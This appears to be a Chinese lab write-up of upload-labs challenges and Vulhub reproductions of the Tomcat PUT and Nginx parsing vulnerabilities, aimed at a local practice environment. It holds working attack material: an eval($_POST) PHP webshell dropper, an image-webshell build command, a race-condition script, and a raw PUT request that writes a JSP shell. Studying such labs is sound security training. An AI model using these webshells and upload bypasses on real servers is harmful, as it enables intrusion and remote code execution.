通过源码分析,保存路径是以post方式提交的,故可以post%00截断绕过。
提交抓包,修改参数
%00要使用url编码
上传成功:
图片马制作:
copy 2.jpg /b + shell.php /a webshell.jpg
通过源码分析,改关是检查文件头信息进行判断。
且此关是文件包含漏洞。是GET传参,参数是file。
上传一张有马的图片。查看图片地址。
构造payload:
http://127.0.0.1/upload-labs/include.php?file=upload/7020210808175852.jpg
成功执行。
查看源码:
发现php函数getimagesize(),此函数限制上传的仅为图片文件。
绕过方法与14关一至。
16关源码中有内置函数:exif_imagetype()
17关源码中有内置函数:imagecreatefromjpeg()、imagecreatefrompng()、imagecreatefromgif()
均限制了上传文件类型。均需用文件包含漏洞绕过,方法与14、15关类似。
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['x'])?>');?>
在准备一个python脚本:
import requests url = "http://127.0.0.1/upload/shell.php" while True: html = requests.get(url) if html.status_code == 200: print("OK") break else: print("NO")
上传,抓包
发送到intruder模块
清除positions中的所有选项
payloads中设置无期限的重复。
开始攻击,共攻击的同时,运行python文件。
成功:
蚁剑连接测试:
第19关仍然是条件竞争问题。
直接抓包进行攻击:
增加X-Forwarded-For:
设置payloads:
开始攻击,同时不断访问http://127.0.0.1/upload-labs/upload/shell.php,
出先报错即可。
查看源码:
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; }else{ $msg = '上传出错!'; } }else{ $msg = '禁止保存为该类型文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
这里使用post进行修改文件名操作
这里对文件名进行黑名单过滤,我们采用.php/.来绕过黑名单。
move_uploaded_file()函数会过滤掉文件末尾的/.再上传到服务器中。
抓包修改:
上传成功;
查看源码:
$is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //检查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //检查文件名 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } } }else{ $msg = "请选择要上传的文件!"; }
可看出这是白名单限制。
通过检查MIME信息中的文件后缀在白名单中则上传,否则报错。
此部分将文件名分成3部分组成一个数组,例如将"xx.jpg"分为:"xx"、"."、"jpg"三部分
我们抓包将.php/.jpg分三部分修改即可绕过
docker-compose build docker-compose up -d
访问8080端口:
基本原理:
Tomcat设置了写权限(readonly=false),导致我们可以向服务器写入文件。
<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet>
POC
直接发送以下数据包,shell就会写入Web根目录。
PUT /1.jsp/ HTTP/1.1 Host: your-ip:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 5 shell
访问:http://192.168.0.105:8080/1.jsp?pwd=023&i=id
常见搭建平台解析漏洞如下图:
启动靶场环境
docker-compose up -d
由数据包显示,是Nginx搭建平台,可考虑使用Nginx解析漏洞。
xx.jpg/xx.php 可将jpg文件当做php执行。
上传有马的图片
然后访问:http://192.168.0.105/uploadfiles/a7c3ce076585477741d951d179ab07dc.jpg/sds.php
成功解析。